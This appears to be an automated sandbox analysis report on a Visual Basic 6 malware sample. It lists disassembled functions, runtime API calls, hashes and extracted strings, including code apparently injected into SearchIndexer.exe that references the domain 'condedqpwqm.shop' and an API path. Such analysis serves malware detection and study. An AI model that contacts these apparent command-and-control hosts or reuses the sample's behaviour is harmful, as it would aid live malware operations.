String ID:
API String ID: 3344304291-0
Opcode ID: 8ebb6527f93325dc95c295105a0a45629615831bc1f106861f2e6fa958efbede
Instruction ID: 1ffe9cb1af1314b68fd53d29b88f73f3902b85f642a300435601b50277aadd5c
Opcode Fuzzy Hash: 8ebb6527f93325dc95c295105a0a45629615831bc1f106861f2e6fa958efbede
Instruction Fuzzy Hash: 62F13DB4900209EFDB14DF94C988B9EBBB8FF48705F20816AF505BB294D7745985CF64

Function 004043B0 Relevance: 33.2, APIs: 22, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaCastObj.MSVBVM60(00000000,00401FD4), ref: 004043F8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00404409
__vbaNew.MSVBVM60(004022F8), ref: 00404410
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040441B
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,00000098), ref: 00404445
__vbaObjIs.MSVBVM60(?,00000000), ref: 00404454
__vbaFreeObj.MSVBVM60 ref: 00404460
__vbaNew.MSVBVM60(00402318), ref: 00404472
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040447D
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,000000A0), ref: 0040449D
__vbaFreeObj.MSVBVM60 ref: 004044A2
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,00000098), ref: 004044C7
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000020), ref: 004044EB
__vbaHresultCheckObj.MSVBVM60(00000000,?,004022E8,00000028), ref: 0040450C
__vbaFreeObj.MSVBVM60 ref: 0040452D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004022E8,0000002C), ref: 00404559
__vbaObjSet.MSVBVM60(?,?), ref: 0040456A
__vbaCastObj.MSVBVM60(00000000,004022E8), ref: 00404577
__vbaObjSet.MSVBVM60(?,00000000), ref: 00404582
__vbaObjSetAddref.MSVBVM60(?,?), ref: 00404590
__vbaFreeObj.MSVBVM60(004045C7), ref: 004045BF
__vbaFreeObj.MSVBVM60 ref: 004045C4

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free$Cast$Addref
String ID:
API String ID: 1791865128-0
Opcode ID: e751c38b6cbb533b737f0c8f38cac152a26d331a1e01057d25491d01e4aa3747
Instruction ID: 0c33e795a854d9ce9be3c5c331579d6505feea98815c5ad554fa49b2f9d11c71
Opcode Fuzzy Hash: e751c38b6cbb533b737f0c8f38cac152a26d331a1e01057d25491d01e4aa3747
Instruction Fuzzy Hash: 455132B1900218AFDB00DFA5CD89EEEBBB8FF98701F148529F605B71E1D77898458B64

Function 00401BB0 Relevance: 27.2, APIs: 18, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,00401316), ref: 00402F0E
__vbaOnError.MSVBVM60(000000FF,?,00000000,00401316,00000000,00401316), ref: 00402F3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401D5C,00000098), ref: 00402F7B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000034), ref: 00402FBD
__vbaFreeObj.MSVBVM60 ref: 00402FE2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401D5C,00000098), ref: 0040302B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000030), ref: 0040306D
__vbaFreeObj.MSVBVM60 ref: 00403082
__vbaCastObj.MSVBVM60(00000000,004020B8), ref: 00403096
__vbaObjSet.MSVBVM60(?,00000000), ref: 004030A1

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free$CastChkstkError
String ID:
API String ID: 630915874-0
Opcode ID: 4e86aa9824f1d9da7e95e512091862ad4d063c1236c60a9e71227807d04613a0
Instruction ID: f8e8a75d2df9a6e13ccd567ca65e1a3e3a21a348ac6a2049d7fe20645882add7
Opcode Fuzzy Hash: 4e86aa9824f1d9da7e95e512091862ad4d063c1236c60a9e71227807d04613a0
Instruction Fuzzy Hash: B9911C74901208EFDB04DFE4C948B9DBBB9FF48341F208169E506BB2A4D7799A85CF94

Function 00404A90 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaCastObj.MSVBVM60(00000000,00402534,00000001,00000001,?,?,00401316), ref: 00404ADC
__vbaObjSet.MSVBVM60(?,00000000,?,00401316), ref: 00404AED
__vbaSetSystemError.MSVBVM60(00000000,?,00401316), ref: 00404AF5
__vbaFreeObj.MSVBVM60(?,00401316), ref: 00404AFE
__vbaObjIs.MSVBVM60(00000000,00000000,?,00401316), ref: 00404B0C
__vbaNew.MSVBVM60(00402114,?,00401316), ref: 00404B1C
__vbaObjSet.MSVBVM60(00406024,00000000,?,00401316), ref: 00404B28
__vbaObjSetAddref.MSVBVM60(?,0000000A,?,00401316), ref: 00404B4D
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402104,00000020,?,00401316), ref: 00404B90
__vbaCastObj.MSVBVM60(?,00401E94,?,00401316), ref: 00404B9F
__vbaObjSet.MSVBVM60(?,00000000,?,00401316), ref: 00404BA7
__vbaFreeObj.MSVBVM60(?,00401316), ref: 00404BAC
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,00401316), ref: 00404BC0
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000001,004048B0), ref: 00404BE4

Strings

@, xrefs: 00404B6D

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$CastErrorSystem$AddrefCheckHresultList
String ID: @
API String ID: 616752853-3871860774
Opcode ID: e218fb0a3a767e3d20446619a77b072f3ca33cd58e038ec1b0a91f93e8eb9685
Instruction ID: 0223130af3e5612e644720188d9efaeeeb254cb1d16fc075c7a4186dddfb0116
Opcode Fuzzy Hash: e218fb0a3a767e3d20446619a77b072f3ca33cd58e038ec1b0a91f93e8eb9685
Instruction Fuzzy Hash: 214156B5D00205AFDB04DF94DE49EEEBBB8EF88700F10402AF605B72A0D7746A45CB69

Function 004048B0 Relevance: 25.6, APIs: 17, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 004048F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024), ref: 0040492D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,0000001C), ref: 00404967
__vbaCastObjVar.MSVBVM60(?,00401E94), ref: 00404972
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040497D
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00404989
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000028), ref: 004049BB
__vbaFreeVar.MSVBVM60 ref: 004049C0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401E94,0000001C), ref: 004049E1
__vbaCastObj.MSVBVM60(?,00402534,00000000,00000001), ref: 004049EF
__vbaObjSet.MSVBVM60(?,00000000), ref: 004049FA
__vbaSetSystemError.MSVBVM60(00000000), ref: 00404A02
__vbaFreeObj.MSVBVM60 ref: 00404A0B
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 00404A1C
__vbaSetSystemError.MSVBVM60(00000000,?), ref: 00404A2D
__vbaFreeObj.MSVBVM60(00404A72), ref: 00404A6A
__vbaFreeObj.MSVBVM60 ref: 00404A6F

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$CheckHresult$AddrefCastErrorSystem$List
String ID:
API String ID: 3736056430-0
Opcode ID: c9c324e6d91b348524478eb2b65841d715e63175a5b9e1ba649bc8b00558d13b
Instruction ID: c6e2453db4b71e406891040928ab9fb5a5c7856928b8735fa9f044e057d0178c
Opcode Fuzzy Hash: c9c324e6d91b348524478eb2b65841d715e63175a5b9e1ba649bc8b00558d13b
Instruction Fuzzy Hash: 48510FB1A40209AFDB04DFE4DE89FEE7BB8EB88704F104129E601F7194D7789949CB64

Function 00404750 Relevance: 15.1, APIs: 10, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,?), ref: 004047AC
__vbaObjSetAddref.MSVBVM60(?,00401316), ref: 004047B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 004047D7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004047E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 0040480F
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401316), ref: 0040481E
__vbaRaiseEvent.MSVBVM60(004012D8,00000002,00000001), ref: 00404847
__vbaFreeStr.MSVBVM60 ref: 00404853
__vbaFreeObj.MSVBVM60(00404888), ref: 00404880
__vbaFreeObj.MSVBVM60 ref: 00404885

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$AddrefCheckHresult$EventListMoveRaise
String ID:
API String ID: 3137959150-0
Opcode ID: 88a6a9faad9c5b2ab2ff689ec35d4ee7b85368e4cf38969628020ee08d3cacea
Instruction ID: fd0aa834e28c5849051deaaaf0d745ef8f2a6123dda653c0d9f0172547d9c91f
Opcode Fuzzy Hash: 88a6a9faad9c5b2ab2ff689ec35d4ee7b85368e4cf38969628020ee08d3cacea
Instruction Fuzzy Hash: EB411BB1900209AFDB00DF94CD86EEEBBB9FF88704F10855AE505B72A1D774A945CFA4

Function 004045F0 Relevance: 15.1, APIs: 10, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,?), ref: 0040464C
__vbaObjSetAddref.MSVBVM60(?,00401316), ref: 00404656
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 00404677
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00404687
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 004046AF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401316), ref: 004046BE
__vbaRaiseEvent.MSVBVM60(004012C8,00000001,00000001), ref: 004046E7
__vbaFreeStr.MSVBVM60 ref: 004046F3
__vbaFreeObj.MSVBVM60(00404728), ref: 00404720
__vbaFreeObj.MSVBVM60 ref: 00404725

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$AddrefCheckHresult$EventListMoveRaise
String ID:
API String ID: 3137959150-0
Opcode ID: e2420602314218a4c385f6c5b9f055e19ba619be51416b55b1f35fc09a532a78
Instruction ID: 88a05aac2ff17ba0dad42e85ae4ae84198a1f0780f93c703bf7b35f26f73f511
Opcode Fuzzy Hash: e2420602314218a4c385f6c5b9f055e19ba619be51416b55b1f35fc09a532a78
Instruction Fuzzy Hash: DE414EB1900209AFDB00DF94CD86EEEBBB9FF88704F10855AE505B72A0D774A945CFA4

Function 00402A30 Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,00401140,00401D5C,00000098,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402A95
__vbaObjIs.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AA4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AB2
__vbaHresultCheckObj.MSVBVM60(00000000,00401140,00401D5C,00000098,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402ADC
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000034,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AFC
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402B07

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID:
API String ID: 3976024557-0
Opcode ID: 4e3618856c9960496ef33c7d9e96526f0580df8aa6eba093424923a2e3dbc5b3
Instruction ID: 21063e6276b021375f11eb1b2cbb602d6208a9ab3f331f2692cf6c29eea94216
Opcode Fuzzy Hash: 4e3618856c9960496ef33c7d9e96526f0580df8aa6eba093424923a2e3dbc5b3
Instruction Fuzzy Hash: F7214470A00205ABCB10DFA5CA89EAEBBBCFF59700F10852AF505B72E1C7B85445CB94

Function 004032A0 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjIs.MSVBVM60(00403422,00000000,?,?,?,?,?,?,?,00401316), ref: 004032E5
__vbaNew.MSVBVM60(00402244,?,?,?,?,?,?,?,00401316), ref: 004032F5
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,00401316), ref: 00403300
__vbaObjSetAddref.MSVBVM60(004011A0,00000000,?,?,?,?,?,?,?,00401316), ref: 00403308
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00401316), ref: 00403311
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402224,0000001C,?,?,?,?,?,?,?,00401316), ref: 00403334

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$AddrefCheckFreeHresult
String ID:
API String ID: 3837213124-0
Opcode ID: 28e488dd2331dc38f490b8cbd1c8e41b67ba893e1547a325d36c1385232dad6f
Instruction ID: 98b1beddd525c603fe4372aa901e358d85729d057f027639d6bf54fc5f157aec
Opcode Fuzzy Hash: 28e488dd2331dc38f490b8cbd1c8e41b67ba893e1547a325d36c1385232dad6f
Instruction Fuzzy Hash: C21160B4900244AFC700AF94C989EAEBBBCEF44705B10846AF545B31A0CB785945CBA4

Function 00402B50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCat.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402B95
__vbaStrMove.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402BA0
__vbaFreeStr.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402BB3

Strings

CHECK , xrefs: 00402B8A

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$FreeMove
String ID: CHECK
API String ID: 1603237890-2792941433
Opcode ID: 5298c4c2b534085dea1fbfa9c1d838bfd54d21a5d610055976c07b02201fb5e1
Instruction ID: e83f1107f5a3758a74e235f5b1bace5d0d5d2c7af666d791089d790600f0bfab
Opcode Fuzzy Hash: 5298c4c2b534085dea1fbfa9c1d838bfd54d21a5d610055976c07b02201fb5e1
Instruction Fuzzy Hash: 08016275900209EFC700DF94CA4AE9EFFB8FF48700F20802AF611A76A0D7B46901CB95

Function 00403200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 0040324D
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00403260

Strings

TERMINATE, xrefs: 00403242

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: TERMINATE
API String ID: 1165857907-676853503
Opcode ID: da865969370ad7234d6bfe7513dae81f5abf5c15c76ae8f578373c818fab1f97
Instruction ID: e7ec42556cff44c3b1b1915158f87ba296560adbda7d6876b6552d021bc9c87f
Opcode Fuzzy Hash: da865969370ad7234d6bfe7513dae81f5abf5c15c76ae8f578373c818fab1f97
Instruction Fuzzy Hash: 64014B75800209EBCB00DF54CA4AAAEBFB8FF48710F20816AE951A7290D7785A41CBD5

Function 00402BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 00402C32
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00402C45

Strings

TERMINATE, xrefs: 00402C27

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: TERMINATE
API String ID: 1165857907-676853503
Opcode ID: b36f1c87af62a3e47d91a0ec51a73ba1fc4f33a5c00410ea1132ce5bbe62edb9
Instruction ID: 63507a122ad6bd438a5297b4714ee78ad3d29af41ee206dfb5d821e5123bdfac
Opcode Fuzzy Hash: b36f1c87af62a3e47d91a0ec51a73ba1fc4f33a5c00410ea1132ce5bbe62edb9
Instruction Fuzzy Hash: 79F0F475800249EFD700EF55CA4AAAEFFB8EF48700F10846AE54167690D7B45946CF95

Function 00402910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 00402952
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00402965

Strings

STARTMONITOR, xrefs: 00402947

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: STARTMONITOR
API String ID: 1165857907-1205575814
Opcode ID: 8371b41938299f8f620ea14e38ad120d7bf4d308844a13a317ff3370f12bff68
Instruction ID: 42cfdbe708ef57829ead6aefe0c1a098d2acfb3869da2a429355b7c33ab9cc3e
Opcode Fuzzy Hash: 8371b41938299f8f620ea14e38ad120d7bf4d308844a13a317ff3370f12bff68
Instruction Fuzzy Hash: 19F04F75900209EFC700DF94CA4AAAEFFB8EF88700F10802AE541A36A0C7B85905CFA5

Function 004029A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 004029E2
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 004029F5

Strings

STOPMONITOR, xrefs: 004029D7

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: STOPMONITOR
API String ID: 1165857907-756394762
Opcode ID: 0b90100d083cd0013bdc6444893a37abff30c6d5d6356816f23c33e14f8f20d3
Instruction ID: 7f650cfcb598a75bfec611b6737b47dbfd01c5c59c0a9912401176ec2a31d09b
Opcode Fuzzy Hash: 0b90100d083cd0013bdc6444893a37abff30c6d5d6356816f23c33e14f8f20d3
Instruction Fuzzy Hash: 33F04F75900249EFC710DF94CA4AAAEFFF8EF88700F10806AE541A36A0C7B85906CF95

Analysis Process: SearchIndexer.exePID: 7156, Parent PID: 4268COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.9%
Total number of Nodes:	72
Total number of Limit Nodes:	10

Executed Functions

Function 0033B730 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 562
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(22982098,00000000,00000800), ref: 0033B7E9

Strings

'*+V, xrefs: 0033BB53
condedqpwqm.shop, xrefs: 0033BC5F, 0033BE86
D2>", xrefs: 0033BBA6
"$, xrefs: 0033BAAB
,0$$, xrefs: 0033BB6B
z<?-, xrefs: 0033BB5B
>k'=, xrefs: 0033BB4B
+0*<, xrefs: 0033BB63

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: LibraryLoad
String ID: "$$'*+V$+0*<$,0$$$>k'=$D2>"$condedqpwqm.shop$z<?-
API String ID: 1029625771-4017562629
Opcode ID: d6ce7a4260415fad6bd4f588852bdf8aff9b8467c97e511cfbdb760f1abbb945
Instruction ID: 2458fd28e6dd91b759c82fc7ac5b58ccbaa43314102e2b37fb05fa74c92b690c
Opcode Fuzzy Hash: d6ce7a4260415fad6bd4f588852bdf8aff9b8467c97e511cfbdb760f1abbb945
Instruction Fuzzy Hash: 3812F0B150C3808BD326EF14E8817AEBBE5EF85304F08492CE6D95B352D775994ACB92

Function 0033BEF0 Relevance: 6.7, Strings: 5, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:aBc, xrefs: 0033BFC0
/*`c, xrefs: 0033C2B5
687>, xrefs: 0033C2E6
r, xrefs: 0033C1F5
6Ui2m.rLOeqtAJyhwISE_iYfaPgZXDdFMpeGQpDDX14-1725743784-0.0.1.1-/api, xrefs: 0033C3F7, 0033C414

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: /*`c$687>$6Ui2m.rLOeqtAJyhwISE_iYfaPgZXDdFMpeGQpDDX14-1725743784-0.0.1.1-/api$:aBc$r
API String ID: 0-2727142838
Opcode ID: b8ac89f2d2d15ade48b8123dd33d10619031fc3d0de254e069d080b0b8d36751
Instruction ID: 76bc0339c33f2289c99a73fd03d72c2a3459b68bf2dfc23a9c85e9aa48d19ae4
Opcode Fuzzy Hash: b8ac89f2d2d15ade48b8123dd33d10619031fc3d0de254e069d080b0b8d36751
Instruction Fuzzy Hash: FBE1667421C3808BC316CF19C0E062EFBE1AF8A758F28991DE4D9AB252D335D845CB96

Function 0033DEE0 Relevance: 4.1, Strings: 3, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

condedqpwqm.shop, xrefs: 0033E2BD
ta`u, xrefs: 0033E04A
k{pm, xrefs: 0033E043

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: condedqpwqm.shop$k{pm$ta`u
API String ID: 0-4254485470
Opcode ID: 76c7254fffc652edd8520e94db122c47f1e4400def25b19ac19c309780e77d1a
Instruction ID: d3a9d645486a6c34a59c6c331b99467468c4875d13daf357dd9dc90edd33b159
Opcode Fuzzy Hash: 76c7254fffc652edd8520e94db122c47f1e4400def25b19ac19c309780e77d1a
Instruction Fuzzy Hash: 3FC148B4810B408FC735DF2AC585613BBF4EB06714F548A5DE8EA8B786D335E809CB96

Function 0036B7D1 Relevance: 2.6, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4`[b, xrefs: 0036B7D0
4`[b, xrefs: 0036B870

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b$4`[b
API String ID: 2994545307-3640500014
Opcode ID: 2fd67cec76d906a4155f81f12b1c092e610f7045f13b0bcb135e918dccfdb16c
Instruction ID: 50e69a7025343d806af7522f837988deb7f166a65c8d8b7f04899c262566cf22
